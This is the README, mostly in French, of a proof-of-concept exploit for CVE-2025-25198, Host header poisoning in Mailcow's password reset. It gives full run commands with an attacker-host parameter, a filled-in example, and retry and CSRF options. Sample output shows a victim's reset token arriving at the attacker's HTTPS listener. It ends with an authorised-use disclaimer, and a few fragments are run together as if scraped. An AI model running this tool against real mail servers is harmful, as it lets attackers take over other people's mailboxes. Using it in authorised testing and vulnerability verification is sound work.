
PoC pour CVE-2025-25198 : test automatisé d'empoisonnement d'en-tête Host pour Mailcow - écouteur HTTPS, gestion automatique des cookies/CSRF, capture du premier lien de réinitialisation.
Preuve de concept pour CVE-2025-25198, un problème d'empoisonnement de l'en-tête Host affectant les flux de réinitialisation de mot de passe de Mailcow.
Le script démarre un écouteur HTTPS local sur le port 443, obtient automatiquement un jeton CSRF valide, envoie la séquence de réinitialisation de mot de passe avec un en-tête Host empoisonné, et s'arrête lorsqu'un lien de réinitialisation est récupéré, soit depuis la réponse HTTP, soit depuis un callback vers l'écouteur.
Host contrôlé.Python 3.8+
OpenSSL in PATH
sudo/root privileges to bind port 443
Inbound TCP/443 reachable from the target
Installer les dépendances :
pip install -r requirements.txt
Les valeurs entre chevrons sont des espaces réservés. Remplacez-les par vos propres valeurs et n'incluez pas les caractères < ou >.
sudo python3 cve_2025_25198.py \
--listen-host 0.0.0.0 \
--base-url <MAILCOW_URL> \
--username <MAILBOX> \
--attacker-host <ATTACKER_HOST> \
--http2
<MAILCOW_URL> # Target Mailcow base URL. Example: https://mail.example.com
<MAILBOX> # Mailbox/user passed to the reset form. Usually an email address.
<ATTACKER_HOST> # IP or DNS name that the target can reach on TCP/443.
sudo python3 cve_2025_25198.py \
--listen-host 0.0.0.0 \
--base-url https://mail.cows.com \
--username [email protected] \
--attacker-host 10.10.13.12 \
--http2
Exemple de sortie :
[2026-05-17T18:30:12Z] [+] HTTPS listener on https://0.0.0.0:443
[2026-05-17T18:30:13Z] [+] Auto CSRF: 0123456789abcdef...
[2026-05-17T18:30:13Z] [>] Sending sequence with poisoned Host
[2026-05-17T18:30:14Z] [HIT] GET /reset-password?token=AAAA-BBBB-CCCC-DDDD ← 10.10.13.12 [200]
╔════════════════════════════════════════════════════════════════════════════════╗
║ RESET LINK FOUND! (listener) ║
╟════════════════════════════════════════════════════════════════════════════════╢
║ https://mail.cows.com/reset-password?token=AAAA-BBBB-CCCC-DDDD ║
║ Target: mail.cows.com ║
╚════════════════════════════════════════════════════════════════════════════════╝
--http2
Use HTTP/2 via httpx. Recommended for best parity with modern browsers.
--interval <seconds>
Seconds between attempts and listener wait windows. Default: 8
--max-attempts <N>
Stop after N attempts. Default: 0, which means retry indefinitely.
--cookie '<pairs>'
Seed the client cookie jar manually.
Example: --cookie 'PHPSESSID=abcdef123456; another=value'
--csrf <TOKEN>
Use a known CSRF token instead of auto-discovery.
--only-final
Hide progress logs and print only the final reset-link banner.
443.443 nécessite sudo ou root.https://<ATTACKER_HOST>/.server.pem et server.key sont générés automatiquement s'ils sont manquants.Ce PoC est destiné aux tests de sécurité autorisés, aux environnements de laboratoire et à la vérification de vulnérabilités. Ne l'utilisez pas contre des systèmes sans autorisation explicite.